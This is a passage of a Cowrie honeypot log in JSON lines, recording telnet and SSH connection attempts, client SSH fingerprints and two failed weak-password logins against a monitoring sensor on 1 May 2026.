c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:38.765059Z","src_ip":"157.66.34.121","session":"ee9ad34e033a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33952,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aeb647d7119","protocol":"telnet","message":"New connection: 23.254.167.244:33952 (159.203.135.109:23) [session: 6aeb647d7119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:38.889655Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:39.030321Z","src_ip":"80.94.92.182","session":"003b46932202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.118000745773315,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:39.334732Z","src_ip":"23.254.167.244","session":"2da4a17c8c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59174,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e0bb8960b65","protocol":"telnet","message":"New connection: 209.159.146.115:59174 (159.203.135.109:23) [session: 8e0bb8960b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:39.357211Z"}
{"eventid":"cowrie.session.closed","duration":31.620087385177612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:39.390539Z","src_ip":"23.254.167.244","session":"f165ca92c98b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"richard","password":"test123","message":"login attempt [richard/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:39.737999Z","src_ip":"157.66.34.121","session":"ee9ad34e033a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36640,"dst_ip":"159.203.135.109","dst_port":23,"session":"72f05baf3212","protocol":"telnet","message":"New connection: 23.254.167.244:36640 (159.203.135.109:23) [session: 72f05baf3212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:40.581954Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60304,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c7548df1fba","protocol":"telnet","message":"New connection: 117.53.44.204:60304 (159.203.135.109:23) [session: 4c7548df1fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:40.721357Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:40.974670Z","src_ip":"157.66.34.121","session":"ee9ad34e033a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43958,"dst_ip":"159.203.135.109","dst_port":23,"session":"3408f2fac988","protocol":"telnet","message":"New connection: 209.159.146.115:43958 (159.203.135.109:23) [session: 3408f2fac988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:42.567634Z"}
{"eventid":"cowrie.session.closed","duration":32.459086418151855,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:42.777158Z","src_ip":"209.159.146.115","session":"a58b585b5b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95742869377136,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:43.007871Z","src_ip":"209.159.146.115","session":"f32548f8602c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.6054949760437,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:44.245550Z","src_ip":"209.159.146.115","session":"9432f3bbdfb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41864,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b436db7b55","protocol":"telnet","message":"New connection: 23.254.167.244:41864 (159.203.135.109:23) [session: 66b436db7b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:44.444866Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58830,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f36a8697565","protocol":"telnet","message":"New connection: 209.159.146.115:58830 (159.203.135.109:23) [session: 3f36a8697565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:45.113239Z"}
{"eventid":"cowrie.session.closed","duration":37.10673451423645,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:45.612517Z","src_ip":"23.254.167.244","session":"5b25777cf2ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60428,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2526e2fb26d","protocol":"telnet","message":"New connection: 209.159.146.115:60428 (159.203.135.109:23) [session: e2526e2fb26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:45.684944Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":45428,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3cce65551ab","protocol":"telnet","message":"New connection: 117.53.44.204:45428 (159.203.135.109:23) [session: c3cce65551ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:46.625417Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36608,"dst_ip":"159.203.135.109","dst_port":23,"session":"823495d3e58a","protocol":"telnet","message":"New connection: 209.159.146.115:36608 (159.203.135.109:23) [session: 823495d3e58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:46.798713Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47016,"dst_ip":"159.203.135.109","dst_port":23,"session":"e907e92214ff","protocol":"telnet","message":"New connection: 23.254.167.244:47016 (159.203.135.109:23) [session: e907e92214ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:48.439377Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46618,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e736a1fde17","protocol":"telnet","message":"New connection: 23.254.167.244:46618 (159.203.135.109:23) [session: 7e736a1fde17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:49.028980Z"}
{"eventid":"cowrie.session.closed","duration":30.49004292488098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:49.132240Z","src_ip":"117.53.44.204","session":"0c47d5f69b1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38158,"dst_ip":"159.203.135.109","dst_port":23,"session":"292b63d5154e","protocol":"telnet","message":"New connection: 209.159.146.115:38158 (159.203.135.109:23) [session: 292b63d5154e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:49.154409Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":43468,"dst_ip":"159.203.135.109","dst_port":22,"session":"4df8413a5a60","protocol":"ssh","message":"New connection: 186.13.24.118:43468 (159.203.135.109:22) [session: 4df8413a5a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:50.790177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:50.794813Z","src_ip":"186.13.24.118","session":"4df8413a5a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:50.951069Z","src_ip":"186.13.24.118","session":"4df8413a5a60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"test","message":"login attempt [nexus/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:51.602793Z","src_ip":"186.13.24.118","session":"4df8413a5a60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":45442,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ffd7252b4e","protocol":"telnet","message":"New connection: 117.53.44.204:45442 (159.203.135.109:23) [session: d5ffd7252b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:51.677040Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:52.761908Z","src_ip":"186.13.24.118","session":"4df8413a5a60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":48996,"dst_ip":"159.203.135.109","dst_port":23,"session":"81cf81c5637a","protocol":"telnet","message":"New connection: 117.53.44.204:48996 (159.203.135.109:23) [session: 81cf81c5637a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:53.095497Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49012,"dst_ip":"159.203.135.109","dst_port":23,"session":"6adf20e6a738","protocol":"telnet","message":"New connection: 117.53.44.204:49012 (159.203.135.109:23) [session: 6adf20e6a738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:54.651687Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49022,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad6d31116e5","protocol":"telnet","message":"New connection: 117.53.44.204:49022 (159.203.135.109:23) [session: 9ad6d31116e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:55.582589Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56286,"dst_ip":"159.203.135.109","dst_port":23,"session":"54fe29ba495e","protocol":"telnet","message":"New connection: 23.254.167.244:56286 (159.203.135.109:23) [session: 54fe29ba495e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:56.251327Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56804,"dst_ip":"159.203.135.109","dst_port":23,"session":"585f78fdd5e9","protocol":"telnet","message":"New connection: 23.254.167.244:56804 (159.203.135.109:23) [session: 585f78fdd5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:56.779286Z"}
{"eventid":"cowrie.session.closed","duration":37.6612913608551,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:57.034472Z","src_ip":"23.254.167.244","session":"cf3d092ed370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47002,"dst_ip":"159.203.135.109","dst_port":23,"session":"465ff3171989","protocol":"telnet","message":"New connection: 209.159.146.115:47002 (159.203.135.109:23) [session: 465ff3171989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:57.245961Z"}
{"eventid":"cowrie.session.closed","duration":35.92696166038513,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:57.685576Z","src_ip":"23.254.167.244","session":"c987907460a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49034,"dst_ip":"159.203.135.109","dst_port":23,"session":"195da175a722","protocol":"telnet","message":"New connection: 117.53.44.204:49034 (159.203.135.109:23) [session: 195da175a722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:57.739762Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49036,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f12032ab4f","protocol":"telnet","message":"New connection: 117.53.44.204:49036 (159.203.135.109:23) [session: 66f12032ab4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:58.663389Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49046,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4684771ae64","protocol":"telnet","message":"New connection: 117.53.44.204:49046 (159.203.135.109:23) [session: e4684771ae64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:58.939857Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49062,"dst_ip":"159.203.135.109","dst_port":23,"session":"2380d7917cd1","protocol":"telnet","message":"New connection: 117.53.44.204:49062 (159.203.135.109:23) [session: 2380d7917cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:59.615017Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49068,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5332c4c6661","protocol":"telnet","message":"New connection: 117.53.44.204:49068 (159.203.135.109:23) [session: e5332c4c6661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:00.329705Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49074,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b8a43a2b2c","protocol":"telnet","message":"New connection: 117.53.44.204:49074 (159.203.135.109:23) [session: 71b8a43a2b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:01.591022Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35642,"dst_ip":"159.203.135.109","dst_port":23,"session":"266e97443008","protocol":"telnet","message":"New connection: 23.254.167.244:35642 (159.203.135.109:23) [session: 266e97443008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:01.774614Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":49076,"dst_ip":"159.203.135.109","dst_port":23,"session":"1621efa8272e","protocol":"telnet","message":"New connection: 117.53.44.204:49076 (159.203.135.109:23) [session: 1621efa8272e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:01.852839Z"}
{"eventid":"cowrie.session.closed","duration":36.42391920089722,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:01.890326Z","src_ip":"23.254.167.244","session":"b733c517c38e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.89960980415344,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:01.956092Z","src_ip":"23.254.167.244","session":"224e4930b57a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907049417495728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:02.344492Z","src_ip":"117.53.44.204","session":"b5ccf96c411e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.596627950668335,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:02.388403Z","src_ip":"23.254.167.244","session":"1c320ae839a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36266,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6c366af484f","protocol":"telnet","message":"New connection: 23.254.167.244:36266 (159.203.135.109:23) [session: d6c366af484f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:02.420029Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36122,"dst_ip":"159.203.135.109","dst_port":23,"session":"a82aa7917229","protocol":"telnet","message":"New connection: 117.53.44.204:36122 (159.203.135.109:23) [session: a82aa7917229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:02.611280Z"}
{"eventid":"cowrie.session.closed","duration":30.358811378479004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:04.125189Z","src_ip":"117.53.44.204","session":"08855ba9bde6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54973220825195,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:04.711718Z","src_ip":"23.254.167.244","session":"40b9a3fa867c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54912,"dst_ip":"159.203.135.109","dst_port":23,"session":"79125fdc02be","protocol":"telnet","message":"New connection: 209.159.146.115:54912 (159.203.135.109:23) [session: 79125fdc02be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:05.606203Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55234,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f0d6a5b870b","protocol":"telnet","message":"New connection: 209.159.146.115:55234 (159.203.135.109:23) [session: 7f0d6a5b870b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:05.673170Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36136,"dst_ip":"159.203.135.109","dst_port":23,"session":"a79de7306b62","protocol":"telnet","message":"New connection: 117.53.44.204:36136 (159.203.135.109:23) [session: a79de7306b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:05.879131Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37432,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1d2a7d4641","protocol":"telnet","message":"New connection: 23.254.167.244:37432 (159.203.135.109:23) [session: ab1d2a7d4641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:06.670302Z"}
{"eventid":"cowrie.session.closed","duration":38.14024829864502,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:07.579917Z","src_ip":"209.159.146.115","session":"aa234a5b42b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36142,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff77dee5773","protocol":"telnet","message":"New connection: 117.53.44.204:36142 (159.203.135.109:23) [session: 2ff77dee5773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:07.595221Z"}
{"eventid":"cowrie.session.closed","duration":34.099228620529175,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:07.731289Z","src_ip":"209.159.146.115","session":"b1e28f5d2dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57554,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ecd867a9216","protocol":"telnet","message":"New connection: 185.26.126.47:57554 (159.203.135.109:23) [session: 7ecd867a9216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:07.801326Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36144,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8613b8210e1","protocol":"telnet","message":"New connection: 117.53.44.204:36144 (159.203.135.109:23) [session: d8613b8210e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:07.863259Z"}
{"eventid":"cowrie.session.closed","duration":31.274242877960205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:08.260613Z","src_ip":"117.53.44.204","session":"a21b7db80342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39028,"dst_ip":"159.203.135.109","dst_port":23,"session":"800a7c0d9a4c","protocol":"telnet","message":"New connection: 23.254.167.244:39028 (159.203.135.109:23) [session: 800a7c0d9a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:08.411780Z"}
{"eventid":"cowrie.session.closed","duration":30.48626470565796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:09.190326Z","src_ip":"117.53.44.204","session":"32e6ff279ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81201219558716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:09.321594Z","src_ip":"23.254.167.244","session":"c771b6e74d04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04521417617798,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:10.004576Z","src_ip":"23.254.167.244","session":"dbc629d6fd72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36152,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef87fd351eb8","protocol":"telnet","message":"New connection: 117.53.44.204:36152 (159.203.135.109:23) [session: ef87fd351eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:10.850343Z"}
{"eventid":"cowrie.session.closed","duration":37.76229929924011,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:10.939490Z","src_ip":"23.254.167.244","session":"ad7efbeb0777","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.396541833877563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:11.117801Z","src_ip":"117.53.44.204","session":"4c7548df1fba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59154,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfab07dca509","protocol":"ssh","message":"New connection: 159.203.92.129:59154 (159.203.135.109:22) [session: cfab07dca509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:11.295599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:11.299615Z","src_ip":"159.203.92.129","session":"cfab07dca509","protocol":"ssh"}
